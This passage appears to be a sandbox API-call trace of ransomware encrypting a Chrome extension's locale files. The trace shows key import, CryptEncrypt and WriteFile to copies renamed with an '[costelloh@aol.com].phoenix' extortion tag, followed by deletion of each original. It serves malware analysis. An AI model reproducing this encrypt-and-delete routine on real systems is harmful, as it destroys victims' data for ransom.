	[0262.864] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ko\\messages.json")) returned 1
	[0262.865] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.865] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.865] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=699) returned 1
	[0262.865] CloseHandle (hObject=0x310) returned 1
	[0262.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lv\\messages.json")) returned 0x20
	[0262.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.866] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.866] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.866] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.866] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.867] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151600) returned 1
	[0262.867] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.867] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2bb, lpOverlapped=0x0) returned 1
	[0262.888] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2c0) returned 1
	[0262.888] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2c0, lpOverlapped=0x0) returned 1
	[0262.889] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0262.889] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.889] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0262.889] CryptDestroyKey (hKey=0x151040) returned 1
	[0262.889] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0262.889] CryptDestroyKey (hKey=0x151600) returned 1
	[0262.889] CloseHandle (hObject=0x310) returned 1
	[0262.889] CloseHandle (hObject=0x2b0) returned 1
	[0262.889] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lv\\messages.json")) returned 1
	[0262.890] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.891] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.891] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=666) returned 1
	[0262.891] CloseHandle (hObject=0x2b0) returned 1
	[0262.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pl\\messages.json")) returned 0x20
	[0262.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.892] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.892] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.892] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.892] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.893] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151540) returned 1
	[0262.893] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.893] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x29a, lpOverlapped=0x0) returned 1
	[0262.903] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2a0) returned 1
	[0262.903] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2a0, lpOverlapped=0x0) returned 1
	[0262.904] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151600) returned 1
	[0262.904] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.905] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0262.905] CryptDestroyKey (hKey=0x151600) returned 1
	[0262.905] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0262.905] CryptDestroyKey (hKey=0x151540) returned 1
	[0262.905] CloseHandle (hObject=0x2b0) returned 1
	[0262.905] CloseHandle (hObject=0x310) returned 1
	[0262.908] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pl\\messages.json")) returned 1
	[0262.910] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0262.910] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.910] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=667) returned 1
	[0262.910] CloseHandle (hObject=0x310) returned 1
	[0262.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_br\\messages.json")) returned 0x20
	[0262.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_BR\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_br\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.911] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.911] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.911] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0262.911] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_BR\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_br\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0262.912] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0262.912] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0262.912] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x29b, lpOverlapped=0x0) returned 1
	[0263.122] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2a0) returned 1
	[0263.122] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2a0, lpOverlapped=0x0) returned 1
	[0263.142] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1517c0) returned 1
	[0263.142] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.142] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.142] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0263.142] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.142] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0263.142] CloseHandle (hObject=0x310) returned 1
	[0263.142] CloseHandle (hObject=0x2b0) returned 1
	[0263.142] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\pt_br\\messages.json")) returned 1
	[0263.143] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.144] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.144] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=671) returned 1
	[0263.144] CloseHandle (hObject=0x2b0) returned 1
	[0263.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sk\\messages.json")) returned 0x20
	[0263.144] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.144] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.144] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.145] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0263.145] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.145] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1517c0) returned 1
	[0263.145] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.145] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x29f, lpOverlapped=0x0) returned 1
	[0263.157] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2a0) returned 1
	[0263.157] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2a0, lpOverlapped=0x0) returned 1
	[0263.158] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1510c0) returned 1
	[0263.158] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0263.158] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0263.158] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0263.158] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0263.158] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0263.158] CloseHandle (hObject=0x2b0) returned 1
	[0263.158] CloseHandle (hObject=0x310) returned 1
	[0263.158] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sk\\messages.json")) returned 1
	[0263.160] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0263.160] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.160] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=642) returned 1
	[0263.160] CloseHandle (hObject=0x310) returned 1
	[0263.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sl\\messages.json")) returned 0x20
	[0263.160] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.160] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0263.161] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
